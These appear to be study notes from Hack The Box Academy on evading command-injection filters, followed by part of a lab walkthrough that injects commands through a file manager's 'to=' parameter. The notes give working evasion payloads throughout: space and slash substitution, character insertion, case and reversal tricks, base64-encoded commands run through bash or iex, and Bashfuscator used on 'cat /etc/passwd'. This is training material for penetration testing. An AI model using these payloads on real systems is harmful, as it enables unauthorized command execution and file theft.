All of these operators (except the semi-colon for Windows command Line) can be used regardless of the web application language, framework, or back-end server!
Bypassing blacklisted characters
Space character
Linux
%09 # TAB${IFS} # a variable whose default value is a space and a tab{ls,-la} # Bash bracket expansion, which automatically adds spaces between arguments wrapped between braces
# Takes the first character of the PATH/PWD/HOME variable, which is often a forward slash${PATH:0:1} # Forward slash (/)${PWD:0:1} # Forward slash (/)${HOME:0:1} # Forward slash (/)# Takes the 10th character from the LS_COLORS variable, which is often a semi-colon${LS_COLORS:10:1} # Semi-colon (;)
Windows
Print all environment variables using Get-ChildItem Env:.
# %HOMEPATH% -> \Users\htb-student# Output character at 6th starting position and ending at 11th from end%HOMEPATH:~6,-11% # Black slash (\) - DOS$env:HOMEPATH[0] # Black slash (\) - PowerShell
Example (Hack The Box Academy)
The payload:
127.0.0.1%09%0a{ls,-la,${PATH:0:1}home}
Which is interpreted as:
127.0.0.1 ls -la /home
Because %09 is interpreted as a new-line character, which allows us to inject a new OS command, %0a is a space, which is necessary for the second command to be recognised, {ls,-la} is interpreted as ls -la which allows us to bypass the block on the space character, and ${PATH:0:1} is interpreted as / because / is the first character of the victim’s PATH variable.
ASCII shifting
First, find the character in the ASCII table that is just before our desired character, then add it instead of [ in the below example.
Linux
man ascii # \ is on 92, before it is [ on 91$(tr '!-}' '"-~'<<<[) # this will give us \
Bypassing blacklisted commands
Character insertions
Quotes
# Cannot mix types of quotes and we must have an even number of themw'h'o'am'i -> whoamiw"h"o"am"i -> whoami
Example (Hack The Box Academy)
127.0.0.1%0aw'h'o'am'i
Linux only
# Bash will ignore certain characters, including `\` and `$@`who$@ami -> whoamiw\ho\am\i -> whoami
Normally the cat command is blacklisted, so using it returns an Invalid command response. But, by obsfucating the cat command, the input is accepted and we can chain previous character bypasses to read a file on the victim (flag.txt).
Windows only
# There are also some Windows-only characters which can be inserted in the middle of a command and do not affect the result, like the carat `^` characterwho^ami -> whoami
Case manipulation
Linux
# Linux commands are case sensitive, so we need to find a way of turning a mixed-case or upper-case command into its lower-case variant$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # replace all upper case characters with lower case characters$(a="WhOaMi";printf %s "${a,,}") # same affect, and without a newline character at the end$
Windows
# Windows commands are case-insensitive, so it might work to change the case of some/all of the characters in the commandWhOaMi
Reversed commands
Linux
echo 'whoami' | rev # get the reversed string$(rev<<<'imaohw') # execute the reversed string
Windows
"whoami"[-1..-20] -join '' # get the reversed stringiex "$('imaohw'[-1..-20] -join '')" # execute the reversed string
# Encode the command[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) # on Windowsecho -n whoami | iconv -f utf-8 -t utf-16le | base64 # on Linux # Decode then execute the encoded commandiex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE= is base64 encoded for find /usr/share/ | grep root | grep mysql | tail -n 1. This encoded string gets passed to the base64 -d command (<<<), and then the decoded string is executed by bash (bash -c "$(...)"). The injection is afforded via the %0a new-line character followed by the %09 space character.
./bashfuscator -c 'cat /etc/passwd' # randomly pick an obsfucation technique (which could pick a technique that results in an output of over a million characters...)# -s 1 (number of encoding stages)# -t 1 (technique level - 1 is basic)# --no-mangling (do not rename variables randomly / preserve readability)# --layers 1 (apply 1 obsfucation layer)./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1# Stages = encoding the message multiple times (eg encode 3 times in base64)# Layers = hiding the message inside multiple envelopes (eg a script inside a script etc)
The exploit appears to require Admin access because (1) it asks for an admin login:
And (2) it appears to require upload functionality, which I can’t see the guest user as having:
None the accessible documents appear to have useful content
They all either contain this:
And the last one contains this:
Find a potential command injection point ( ?to=)
One of the options available is Copy:
Selecting this, I can move a file between locations:
This operation appears to be submitted via a GET request, where to= and from= parameters are used to set relative locations:
It’s possible this GET command is being interpreted like:
mv location_a location_b where location A and B are set by the parameters in the GET request. It might be possible to escape the mv command by doing something like mv ;<malicious command>. To do this, the location_a parameter would need to be set to something like ; whoami.
Changing the to= parameter to ;whoami causes a non-standard response, which suggests I’m on the right track:
Get command injection
This time I tried injecting the id command, but obfucating the command a little by inserting single quotes. This worked:
Get /flag.txt
After some trial and error, I found a working payload to read the contents of /flag.txt: